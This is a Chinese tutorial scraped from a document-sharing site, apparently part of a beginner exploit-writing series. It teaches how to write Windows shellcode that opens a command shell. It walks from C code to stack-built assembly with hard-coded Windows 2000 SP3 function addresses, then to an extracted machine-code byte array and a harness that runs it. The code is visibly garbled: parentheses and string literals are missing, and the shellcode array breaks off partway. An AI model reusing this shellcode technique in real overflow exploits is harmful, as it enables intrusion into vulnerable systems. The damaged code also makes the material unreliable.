




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、編寫ShellCode前置知識(shí):匯編閱讀能力,漏洞調(diào)試基本步驟,VC使用方法WTF:這幾次的菜鳥版EXP系列文章都是重點(diǎn)講解溢出編程的原理和思路,包括漏洞的定位,利用構(gòu)造以及遇到限制時(shí)ShellCode的編碼技巧等,但對(duì)ShellCode本身的編寫,特別是Windows環(huán)境下ShellCode的初步編寫,卻很少提及。在文章中都是說(shuō)發(fā)揚(yáng)“拿來(lái)主義”,看準(zhǔn)外面現(xiàn)成的ShellCode,直接拿來(lái)用,對(duì)不合規(guī)范的地方稍微改改就成其實(shí)我們是有策略的,試想一來(lái)就一大堆匯編,初學(xué)者不暈就懵,不被嚇跑才怪,所以前期重點(diǎn)放在激發(fā)大家的興趣上。但作為一個(gè)菜鳥,在興趣激起來(lái)后,畢竟要進(jìn)入到ShellCode的編寫中
2、。一是因?yàn)镋xploit很大的樂(lè)趣就在于ShellCode的編寫,二是明白了ShellCode的編寫,才能更好的使用和改進(jìn)外面的代碼。那,我們開始為了幫助初學(xué)者了解ShellCode的編寫,并能一步一步操作得到自己的ShellCode,因此將Windows下ShellCode的編寫過(guò)程作詳細(xì)的介紹,以利于像我一樣的菜鳥,最終能夠?qū)懗龊?jiǎn)單的但卻是真實(shí)的ShellCode;而進(jìn)一步高級(jí)的ShellCode的編寫,也會(huì)在系列后面的文章中一步一步的演示的,希望大家會(huì)發(fā)現(xiàn),Exp真好,ShellCode最美妙! ShellCode簡(jiǎn)介和編寫步驟從以前的文章和別人的攻擊代碼中可以知道,Shell
3、Code是以“xFFx3Ax45x72”的形式出現(xiàn)在程序中的,而Exploit的構(gòu)造就是想方設(shè)法地使計(jì)算機(jī)能轉(zhuǎn)到我們的ShellCode上來(lái),去執(zhí)行“xFFx3Ax45x72”由此看出,ShellCode才是Exploit攻擊的真正主宰(就如同獨(dú)行者是我們文章的主宰一樣)。而ShellCode的“xFFx3Ax45x72”那些值,其實(shí)是機(jī)器碼的形式,和一般程序在內(nèi)存里面存的東東是沒(méi)什么兩樣的,攻擊程序把內(nèi)存里面的數(shù)據(jù)動(dòng)態(tài)改成ShellCode的值,再跳過(guò)去執(zhí)行,就如同執(zhí)行一個(gè)在內(nèi)存中的一般程序一樣,只不過(guò)完成的是我們的功能,溢出攻擊就這樣實(shí)現(xiàn)了。在此可以下個(gè)定義:ShellCode就是一段程序
4、的機(jī)器碼形式,而ShellCode的編寫過(guò)程,就是得到我們想要程序的機(jī)器碼的過(guò)程。當(dāng)然ShellCode的特殊性和Windows下函數(shù)調(diào)用的特點(diǎn),決定了和一般的匯編程序有所不同。所以其編寫步驟應(yīng)該是,1構(gòu)想ShellCode的功能;2用C語(yǔ)言驗(yàn)證實(shí)現(xiàn);3根據(jù)C語(yǔ)言實(shí)現(xiàn),改成帶有ShellCode特點(diǎn)的匯編;4最后得到機(jī)器碼形式的ShellCode。其中最重要的是第三步改成有ShellCode特點(diǎn)的匯編,將在本文的后面講到。首先第一步是構(gòu)想ShellCode的功能。我們想要的功能可能是植入木馬,殺掉防火墻,倒流時(shí)光,發(fā)電磁波找外星人等等(WTF:咳),但最基本的功能,還是希望開一個(gè)DOS窗口,那
5、我們可以在DOS窗口中做很多事情,所以先介紹開DOS窗口ShellCode的寫法吧。 C語(yǔ)言代碼比如下面這個(gè)程序就可以完成開DOS窗口的功能,大家詳細(xì)看下注釋:#include <windows.h>#include <winbase.h> typedef void (*MYPROC(LPTSTR; /定義函數(shù)指針int main(HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(“msvcrt.dll”;ProcAdd =
6、(MYPROC GetProcAddress(LibHandle, "System" /查找System函數(shù)地址(ProcAdd ("" /其實(shí)就是執(zhí)行System(“”return 0;其實(shí)執(zhí)行System(“”也可以完成開DOS窗口的功能,寫成這么復(fù)雜是有原因的,解釋一下該程序:首先Typedef void (*MYPROC(LPTSTR是定義一個(gè)函數(shù)指針類型,該類型的函數(shù)參數(shù)為是字符串,返回值為空。接著定義MYPROC ProcAdd,使ProcAdd為指向參數(shù)為是字符
7、串,返回值為空的函數(shù)指針;使用LoadLibrary(“msvcrt.dll”;裝載動(dòng)態(tài)鏈接庫(kù)msvcrt.dll;再使用ProcAdd = (MYPROC GetProcAddress(LibHandle, System獲得 System的真實(shí)地址并賦給ProcAdd,之后ProcAdd里存的就是System函數(shù)的地址,以后使用這個(gè)地址來(lái)調(diào)用System函數(shù);最后(ProcAdd (""就是調(diào)用System("",可以獲得一個(gè)DOS窗口。在窗口中我們可以執(zhí)行Dir,Copy等命令。如下圖1所示。 圖
8、1 獲得函數(shù)的地址程序中用GetProcAddress函數(shù)獲得System的真實(shí)地址,但地址究竟是多少,如何查看呢?在VC中,我們按F10進(jìn)入調(diào)試狀態(tài),然后在Debug工具欄中點(diǎn)最后一個(gè)按鈕Disassemble和第四個(gè)按鈕Registers,這樣出現(xiàn)了源程序的匯編代碼和寄存器狀態(tài)窗口,如圖2所示 圖2 繼續(xù)按F10執(zhí)行,直到到ProcAdd = (MYPROC GetProcAddress(LibHandle, "System"語(yǔ)句下的Cll dword ptr _imp_GetProcAddress8 (00424194執(zhí)行后,
9、EAX變?yōu)?801AFC3,說(shuō)明在我的機(jī)器上System( 函數(shù)的地址是0x7801AFC3。如圖3所示。 圖3WTF:注意本次測(cè)試中讀者的機(jī)器是Windows 2000 SP3,不同環(huán)境可能地址不同。為什么EAX就是System( 函數(shù)的地址呢?那是因?yàn)楹瘮?shù)執(zhí)行的返回值,在匯編下通常是放在EAX中的,這算是計(jì)算機(jī)系統(tǒng)的約定吧,所以GetProcAddress(”System”)的返回值(System函數(shù)的地址),就在EAX中,為0x7801AFC3。 Windows下函數(shù)的調(diào)用原理為什么要這么麻煩的得到System函數(shù)的地址呢?這是因?yàn)樵赪indows下,函數(shù)
10、的調(diào)用方法是先將參數(shù)從右到左壓入堆棧,然后Call該函數(shù)的地址。比如執(zhí)行函數(shù)Fun(argv1, argv2),先把參數(shù)從右到左壓入堆棧,這里就是依次把a(bǔ)rgv2,argv1壓入堆棧里,然后Call Fun函數(shù)的地址。這里的Call Fun函數(shù)地址,其實(shí)等于兩步,一是把保存當(dāng)前EIP,二是跳到Func函數(shù)的地址執(zhí)行,即Push EIP Jmp Fun。其過(guò)程如下圖4所示。 圖4同理,我們要執(zhí)行System("":首先參數(shù)入棧,這里只有一個(gè)參數(shù),所以就把C的地址壓入堆棧,注意是C字符串的地址;然后Call System函數(shù)
11、的地址,就完成了執(zhí)行。如圖5所示。 圖5 構(gòu)造有ShellCode特點(diǎn)的匯編明白了Windows函數(shù)的執(zhí)行原理,我們要執(zhí)行System(“Command.exe”,就要先把Command.exe字符串的地址入棧,但Command.exe字符串在哪兒呢??jī)?nèi)存中可能沒(méi)有,但我們可以自己構(gòu)造!我們把Command.exe一個(gè)字符一個(gè)字符的賦給堆棧,這樣Command.exe字符串就有了,而棧頂?shù)闹羔楨SP正好是Command.exe字符串的地址,我們Push esp,就完成了參數(shù)Command.exe字符串的地址入棧。如下圖6所示。
12、圖6 參數(shù)入棧了,然后該Call System函數(shù)的地址。剛才已經(jīng)看到,在Windows 2000 SP3上,System函數(shù)的地址為0x7801AFC3,所以Call 0x7801AFC3就行了。把思路合起來(lái),可以寫出執(zhí)行System(“Command.exe”的帶有ShellCode特點(diǎn)的匯編代碼如下。mov esp,ebp ; push ebp ;
13、0; mov ebp,esp ; 把當(dāng)前esp賦給ebpxor edi,edi ; push edi ;壓入0,esp4,; 作用是構(gòu)造字符串的結(jié)尾0字
14、符。 sub esp,08h ;加上上面,一共有12個(gè)字節(jié),;用來(lái)放""。 mov byte ptr ebp-0ch,63h ; c
15、;mov byte ptr ebp-0bh,6fh ; o mov byte ptr ebp-0ah,6dh ; m mov byte ptr ebp-09h,6Dh ; m
16、160; mov byte ptr ebp-08h,61h ; a mov byte ptr ebp-07h,6eh ; n mov byte ptr ebp-06h,64h ; d
17、; mov byte ptr ebp-05h,2Eh ; . mov byte ptr ebp-04h,63h ; c mov byte pt
18、r ebp-03h,6fh ; o mov byte ptr ebp-02h,6dh ; m一個(gè)一個(gè)生成串"". lea eax,ebp-0ch ;
19、0; push eax ; 串地址作為參數(shù)入棧 mov eax, 0x7801AFC3 ;
20、 call eax ; call System函數(shù)的地址 明白了原理再看實(shí)現(xiàn),是不是清楚了很多呢? 提取ShellCode首先來(lái)驗(yàn)證一下,在VC中可以用_asm關(guān)鍵字插入?yún)R編,我們把System(“Command.exe”用我們寫的匯編替換,LoadLibrary先不動(dòng),然后執(zhí)行,成功!彈出了我
21、們想要的DOS窗口。如下圖7所示。 圖7同樣的道理,LoadLibrary(“msvcrt.dll”也仿照上面改成匯編,注意LoadLibrary在Windows 2000 SP3上的地址為0x77e69f64。把兩段匯編合起來(lái),將其編譯、鏈接、執(zhí)行,也成功了!如下圖8所示。 圖8有了上面的工作,提取ShellCode就只剩下體力活了。我們對(duì)剛才的全匯編的程序,按F10進(jìn)入調(diào)試,接著按下Debug工具欄的Disassembly按鈕,點(diǎn)右鍵,在彈出菜單中選中Code Bytes,就出現(xiàn)匯編對(duì)應(yīng)的機(jī)器碼。因?yàn)閰R編可以完
22、全完成我們的功能,所以我們把匯編對(duì)應(yīng)的機(jī)器碼原封不動(dòng)抄下來(lái),就得到我們想要的ShellCode了。提取出來(lái)的ShellCode如下。unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x64x9fxE6x77"
23、160; /sp3 loadlibrary地址0x77e69f64"x52x8Dx45xF4x50" "xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4""x50xB8""xc3xafx01x78"
24、0; /sp3 System地址0x7801afc3"xFFxD0" 驗(yàn)證ShellCode最后要驗(yàn)證提取出來(lái)的ShellCode能否完成我們的功能。在以前的文章中已經(jīng)說(shuō)過(guò)方法,只需要新建一個(gè)工程和c源文件,然后把ShellCode部分拷下來(lái),存為一個(gè)數(shù)組,最后在main中添上( (void(*(void &shellcode (,如下:unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x5
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年度智能家居設(shè)備貸款購(gòu)買經(jīng)典同借款合同
- 二零二五年度農(nóng)村宅基地使用權(quán)轉(zhuǎn)讓與農(nóng)村金融支持合同
- 2025年度知識(shí)產(chǎn)權(quán)著作權(quán)許可轉(zhuǎn)讓合同范本
- 2025年座墊腳墊合作協(xié)議書
- 專題01 教你寫好:寫人作文【知識(shí)精研】小升初作文分類指導(dǎo)(統(tǒng)編版)
- 語(yǔ)文園地四(第一課時(shí))【知識(shí)精研】第二學(xué)期三年級(jí)語(yǔ)文下冊(cè)統(tǒng)編版
- 分式乘除的復(fù)習(xí)課
- 二輪復(fù)習(xí):《立體幾何》
- 中考數(shù)學(xué)考點(diǎn)總復(fù)習(xí)綜合集訓(xùn)三角形
- 與銷售有關(guān)的質(zhì)量管理知識(shí)
- 商業(yè)廣告設(shè)計(jì)課件
- 教會(huì)行政管理學(xué)課程教案
- SJG 44-2018 深圳市公共建筑節(jié)能設(shè)計(jì)規(guī)范-高清現(xiàn)行
- 2022年高考(全國(guó)甲卷)語(yǔ)文仿真模擬卷【含答案】
- 瀘州老窖股權(quán)激勵(lì)方案案例分析
- 火電廠廠用電系統(tǒng)與廠用電接線運(yùn)行特點(diǎn)分析
- 部編版小學(xué)語(yǔ)文三年級(jí)(下冊(cè))學(xué)期課程綱要
- _重大事故后果分析(精)
- 水泥攪拌樁施工監(jiān)理質(zhì)量控制要點(diǎn)
- 初級(jí)診斷師培訓(xùn)課程QC基礎(chǔ)知識(shí)
- 第7章 吸附課件
評(píng)論
0/150
提交評(píng)論